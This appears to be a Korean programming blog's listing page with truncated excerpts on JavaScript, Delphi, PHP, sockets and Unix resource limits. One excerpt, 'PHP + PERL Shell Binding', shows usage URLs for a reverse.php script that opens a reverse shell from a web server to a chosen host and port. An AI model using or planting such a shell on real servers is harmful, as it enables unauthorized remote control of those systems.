질문내용 위와 같이 폼이름은 form 이고 radio 버튼이 이렇게 있는데 전송전에 라디오버튼에 있는 value 값을 check 하려고 하는데 어떻게 라디오 버튼의 벨류 값을 알아내요? alert(document.form.comm_stat_flag.value) 이렇게 하니 undifind 이렇게 나오네요.. 전체적으로 보면 입력항목 중에 Radio button 이 있는데 다른 폼으로 전송하기 전에 자바스크립트에서 check 할 사항을 check 하려고 하는데 자바스크립트 상에서 Radio Button 의 값을 알아낼수가 없네요.. Radio Button 의 Value 값을 알아내는 방법좀 가르쳐 주세요.. 답변내용 라디오 버튼의 경우 똑같은 이름으로 여러개가 있는 경우 이는 자동으로 배열로 처리됩니다. ..
델파이에서 TWebbrowser 콤포넌트를 이용하여 웹 페이지를 보여주려고 했습니다. 그런데, TWebbrowser 콤포넌트를 통해 특정 페이지를 호출하면 Javascript 오류가 연달아 발생하고 해당 웹 페이지가 정상동작 하지 않았습니다. 이 문제는 TWebbrowser 를 통해서 IE7 혹은 IE8 (과거 브라우져) 등 이 실행 되어 브라우져 호환성 때문에 발생한 오류라는 사실을 확인 했습니다. 웹 서핑 결과 아래와 같이 레지스트리에 특정 값을 추가하면 "실행화일 별로 연계되는 브라우져 버전 (IE7, IE8, IE9, IE11 등) 을 선택적으로 지정" 할 수 있습니다. 32/64bit 전용 프로그램 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explore..
Web broswer 에서 이미지 가공(Crop, Rotate, Boundingbox) 관련 프로젝트를 추진하게 되었습니다. 그 때문에 알아보게된 자료를 공유 합니다. 1. Cropper - https://fengyuanchen.github.io/cropper/ Cropper fengyuanchen.github.io 2. Croppie - https://foliotek.github.io/Croppie/ Croppie - a javascript image cropper Croppie is an easy to use javascript image cropper. foliotek.github.io 3. jQuery Guillotine - http://guillotine.js.org/ jQuery Guillot..
서버에 업로드 되는 동영상을 구분 또는 영상의 내용을 확인하기 위하여, 영상의 스틸 이미지 저장이 필요하게 되었음. 조건 - OS : Linux - Language : PHP - 동영상 코덱 : AVI / MPG 검색해 보니, ffmpeg 라는 동영상 변환 Open-Source 가 있었음. FFMPEG - http://ffmpeg-php.sourceforge.net Features •Simple object oriented interface. •Ability to grab frames from movie files and return them as images that can be manipulated using PHP's built-in image functions. This is great for a..
1 http://www.phpclasses.org/package/6055-PHP-Draw-images-defined-with-CSS-like-properties.html Image Processor (CSS) Draw images defined with CSS like properties 2 http://www.phpclasses.org/package/1732-PHP-Render-schedule-time-tables-from-XML-definitions.html Schedule Render schedule time tables from XML definitions 3 http://www.phpclasses.org/package/2601-PHP-Generate-bar-charts-with-only-HTML..
자바스크립트 한글 입력 비활성화 하기 = 자바스크립트 한글 입력 시작 = Syntax HTML : { ime-mode : sMode } JavaScript : object.style.imeMode [ = sMode ] * sMode ( active | inactive | disabled | auto ) active : 한글 모드으로 변환 이후에는 한글 모드 inactive : 영문모드로 복귀 후 이후에는 영문 모드 disabled : 영문모드만 가능 auto : 자동으로
uses PsAPI, TlHelp32; // portions by Project Jedi www.delphi-jedi.org/ const RsSystemIdleProcess = 'System Idle Process'; RsSystemProcess = 'System Process'; function IsWinXP: Boolean; begin Result := (Win32Platform = VER_PLATFORM_WIN32_NT) and (Win32MajorVersion = 5) and (Win32MinorVersion = 1); end; function IsWin2k: Boolean; begin Result := (Win32MajorVersion >= 5) and (Win32Platform = VER_PL..
procedure UploadPerFTP; procedure GetDir(dir: string); var SearchRec: TSearchRec; details, nodetails: TStringList; k: Integer; begin //iterate through directory given //schleife über alle dateien im ordner if FindFirst(dir + '*.*', faAnyFile, SearchRec) = 0 then begin repeat //get rid of the both "dummy-directories" '.' and '..' //die ordner '.' und '..' brauchen man nicht if (SearchRec.Name '.'..
function IsWrongIP(ip: string): Boolean; var z, i: byte; st: array[1..3] of byte; const ziff = ['0'..'9']; begin st[1] := 0; st[2] := 0; st[3] := 0; z := 0; Result := False; for i := 1 to Length(ip) do if ip[i] in ziff then else begin if ip[i] = '.' then begin Inc(z); if z < 4 then st[z] := i else begin IsWrongIP := True; Exit; end; end else begin IsWrongIP := True; Exit; end; end; if (z 3) or (..
unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type Pat_info = ^at_info; at_info = record JobTime: DWORD; DaysOfMonth: DWORD; DaysOfWeek: UCHAR; Flags: UCHAR; Command: LPWSTR; end; type TForm1 = class(TForm) Button1: TButton; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } end..
폼들이 화면 밖으로 나가지 못하게 하려할때! 포인트 : WM_WINDOWPOSCHANGING 후킹 interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs; type TForm1 = class(TForm) private { Private declarations } procedure WMWindowPosChanging(var Message: TWMWindowPosChanging); message WM_WINDOWPOSCHANGING; public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1...
PC끄기, PC재부팅, 로그오프 펑션 function MyExitWindows(RebootParam: Longword): Boolean; var TTokenHd: THandle; TTokenPvg: TTokenPrivileges; cbtpPrevious: DWORD; rTTokenPvg: TTokenPrivileges; pcbtpPreviousRequired: DWORD; tpResult: Boolean; const SE_SHUTDOWN_NAME = 'SeShutdownPrivilege'; begin if Win32Platform = VER_PLATFORM_WIN32_NT then begin tpResult := OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_..
구성해 나갈 PHP 예제는 PHP5를 기준으로 작성하고자 합니다. 곧 PHP6가 나온다는 말이 있는데, 일단 PHP5로 작성해 보고 나중에 PHP6가 나오면 어떤 차이점이 있는지 찾아보도록 하겠습니다. 예제를 구성해 나가는데 있어서, 주의점이 있습니다. 많은 부분 순수한 PHP가 아닌 Java에서 개념을 차용해 왔습니다. 왜냐면 이미 Java에서는 보편적인 개념들이 이번 PHP5 클래스와 오브젝트에 적용될 수 있다고 생각되었습니다. 그래서, 최대한 Java에 적용되는 개념을 동원해서 PHP 예제를 구성해 보고자 합니다. 기본 문법 설명 1. 주석 주석은 파일의 내용을 설명하거나, 함수의 용도를 설명하거나 필요에 따라서 유지보수 차원에서 기록하는 문장입니다. 이번에 사용할 주석은 크게 2가지로서 다음과 같..
/*+-----------------------------------+ | PHP + PERL Shell Binding | | | +-----------------------------------+ 1. reverse.php (host default : $_SERVER[REMOTE_ADDR]) >>> http://xxxxxx.com/reverse.php?port=5555 >>> Connected >>> xxx.xxx.xxx.xxx:5555 or >>> http://xxxxxx.com/reverse.php?host=xxx.xxx.xxx.xxx&port=5555 >..
소켓도 하나의 자원입니다. 그래서 제한을 합니다. 소켓이나 장치 등은 유닉스/리눅스에서 하나의 파일로 인식됩니다. [baram4x@sign baram4x]$ ulimit -a core file size (blocks, -c) 0 data seg size (kbytes, -d) unlimited file size (blocks, -f) unlimited max locked memory (kbytes, -l) unlimited max memory size (kbytes, -m) unlimited open files (-n) 1024 pipe size (512 bytes, -p) 8 stack size (kbytes, -s) 8192 cpu time (seconds, -t) unlimited max user ..
CPU나 memory와 같은 자원은 항상 한계점이 있기 마련입니다. 그 한계점에 도달했을 때, 어떻게 동작케 하도록 조정하겠느냐의 문제가 매우 중요합니다. 이러한 고민의 여부가 때론 프로그래머의 수준이 실무적인 경험이 있느냐 그렇지 않느냐의 차이로 나타납니다. TCP/IP Socket 프로그램을 짤때, 크게 수준에 따라 네가지 방법이 있습니다. 첫째, ServerSocket에서 accept()상태에서 대기하다가 accept()에서 요청이 떨어지면 그제서야 new YourThread(client)를 생성하여 해당 Socket 요청을 처리하는 Thread를 만들고, ServerSocket 은 다시 accept()의 while loop로 돌아가는 것이지요. 이것의 문제는 두가지인데, 하나는 매 요청마다 Thr..
PHP로 소켓 서버 작성하기 PHP로 소켓 서버 작성하기 작성자 김영진(cogolda@hanmail.net) 대상 독자 요구사항 1 개요 - 소켓 서버란 무엇인가? 1.1 소켓의 형태 2 PHP 소켓 함수 2.1 PHP에서 소켓 만들기 2.2 실용 서버 만들기 2.3 실용적인 예 2.4 보안 가능한 기능 추가와 확장 저자에 관해 알아두기 이 자료는 http://www.zend.com/zend/tut/tutorial-staub3.php/에 있는 Writing Socket Servers in PHP를 제가 허접번역 및 내용을 추가 및 생략한 것입니다. 이미 다 아시는 내용 이시겠지만, 이해해 주시면 감사하겠습니다. 질문이나 번역을 바라는 주제가 있으시면, 이메일 또는 코멘트를 이용해 주세요. 참고로 전 영어..
공유 메모리 제어에 관한 함수 정리 1) 공유 메모리 생성 int shm_attach ( int key [, int memsize [, int perm]]) 공유 메모리 세그먼트를 열거나 생성한다. ex) shm_attach($chat, 1024, 0777); 매개변수 설명 (공유메모리의 키 값, 공유메모리의 사이즈(sysvshm.init_mem), 퍼미션 임의값 0666:8진수) 2) 공유 메모리 종료 int shm_detach ( int shm_identifier) 공유 메모리 세그먼트 접속을 종료. Unix 시스템에서의 공유메모리는 종료 후에도 여전히 존재한다. :( 3) 공유 메모리 삭제 int shm_remove ( int shm_identifier) 위에서 말했듯이 Unix 시스템에서는 종료 ..
- Total
- Today
- Yesterday